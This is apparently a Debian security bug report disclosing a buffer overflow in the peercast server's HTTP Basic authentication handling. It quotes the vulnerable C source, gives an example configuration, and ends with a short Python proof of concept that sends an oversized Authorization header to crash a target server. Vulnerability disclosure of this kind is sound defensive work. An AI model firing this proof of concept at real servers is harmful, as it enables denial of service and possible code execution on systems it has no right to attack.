Package: peercast
Severity: grave
Tags: security
X-Debbugs-CC: [EMAIL PROTECTED]

I found a security issue in the peercast server in the
HTTP::getAuthUserPass function. I already contacted the upstream author 6 days
ago and didn't get an answer yet so I am publishing this now.

From core/common/http.cpp:

105 void HTTP::getAuthUserPass(char *user, char *pass)
106 {
107         if (arg)
108         {   
109                 char *s = stristr(arg,"Basic");
110                 if (s) 
111                 {   
112                         while (*s)
113                                 if (*s++ == ' ')
114                                         break;
115                         String str;
116                         str.set(s,String::T_BASE64);
117                         str.convertTo(String::T_ASCII);
118                         s = strstr(str.cstr(),":");
119                         if (s) 
120                         {   
121                                 *s = 0;
122                                 if (user)
123                                         strcpy(user,str.cstr());
124                                 if (pass)
125                                         strcpy(pass,s+1);

This function is used if authentication to the peercast server is done by basic 
http auth
rather than by a cookie. In line 116 the base64 encoded string is copied into 
str.
Note the set method is peercasts own implementation of set since it 
reimplements the String
class. set looks like this:

From core/common/sys.h:
38                 MAX_LEN = 256 
...
62         void set(const char *p, TYPE t=T_ASCII)
63         {   
64                 strncpy(data,p,MAX_LEN-1);
65                 data[MAX_LEN-1] = 0;
66                 type = t;
67         }   

In line 117 the string gets decoded and in line 118 and 
following the part before ':' in the decoded string gets copied
into user and the part after it into pass.

From core/common/servhs.cpp:
558 bool Servent::handshakeAuth(HTTP &http,const char *args,bool local)
559 {
560         char user[64],pass[64];
561         user[0] = pass[0] = 0;
...
580     while (http.nextHeader())
581         {   
582                 char *arg = http.getArgStr();
583                 if (!arg)
584                         continue;
585
586                 switch (servMgr->authType)
587                 {   
588                         case ServMgr::AUTH_HTTPBASIC:
589                                 if (http.isHeader("Authorization"))
590                                         http.getAuthUserPass(user,pass);
591                                 break;

user and pass are only declared to have 64 bytes (line 558) while the buffer 
used for 
copy can store up to MAX_LEN (256) bytes (ok minus the : here). 
Servent::handshakeAuth calls then
the getAuthUserPass function triggering a buffer overflow.
It's thus possible to crash the server and execute arbitrary code if the server
allows http-basic authentication.

I already requested a CVE id for this.

An example configuration and PoC is attached.

Kind regards
Nico

-- 
Nico Golde - http://www.ngolde.de - [EMAIL PROTECTED] - GPG: 0x73647CFF
For security reasons, all text in this mail is double-rot13 encrypted.
[Server]
serverPort = 7144
autoServe = Yes
forceIP = 
isRoot = No
maxBitrateOut = 0
maxRelays = 2
maxDirect = 0
maxRelaysPerChannel = 0
firewallTimeout = 30
forceNormal = No
rootMsg = 
authType = http-basic
cookiesExpire = session
htmlPath = html/en
minPGNUIncoming = 10
maxPGNUIncoming = 20
maxServIn = 50
chanLog = 
networkID = 00000000000000000000000000000000

[Broadcast]
broadcastMsgInterval = 10
broadcastMsg = 
icyMetaInterval = 8192
broadcastID = 008145B5C0427118B595AF7D9E110000
hostUpdateInterval = 180
maxControlConnections = 3
rootHost = yp.peercast.org

[Client]
refreshHTML = 5
relayBroadcast = 30
minBroadcastTTL = 1
maxBroadcastTTL = 7
pushTries = 5
pushTimeout = 60
maxPushHops = 8
autoQuery = 0
queryTTL = 7

[Privacy]
password = s0mep4ss
maxUptime = 0

[Filter]
ip = 255.255.255.255
private = Yes
ban = No
network = Yes
direct = Yes
[End]

[Notify]
PeerCast = Yes
Broadcasters = Yes
TrackInfo = Yes
[End]

[Server1]
allowHTML = Yes
allowBroadcast = Yes
allowNetwork = Yes
allowDirect = Yes
[End]

[Server2]
allowHTML = No
allowBroadcast = Yes
allowNetwork = No
allowDirect = No
[End]

[Debug]
logDebug = No
logErrors = No
logNetwork = No
logChannel = No
pauseLog = No
idleSleepTime = 10
#!/usr/bin/env python

import sys, socket

port = 7144
buff = 'GET /http/ HTTP/1.1\n'
buff+= 'Connection: close\n'
buff+= 'Accept: */*\n'
buff+= 'Authorization: Basic OmZ' + 'vb29'*128 + 'vbwo=' + '\r\n'

if(len(sys.argv) < 2):
	print "ERR: please specify a hostname"
	sys.exit(-1)

try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((sys.argv[1], port))
	s.send(buff);
except:
	print "ERR: socket()"
	sys.exit(-1)

Attachment: pgp8WFhNsuC0S.pgp
Description: PGP signature

Reply via email to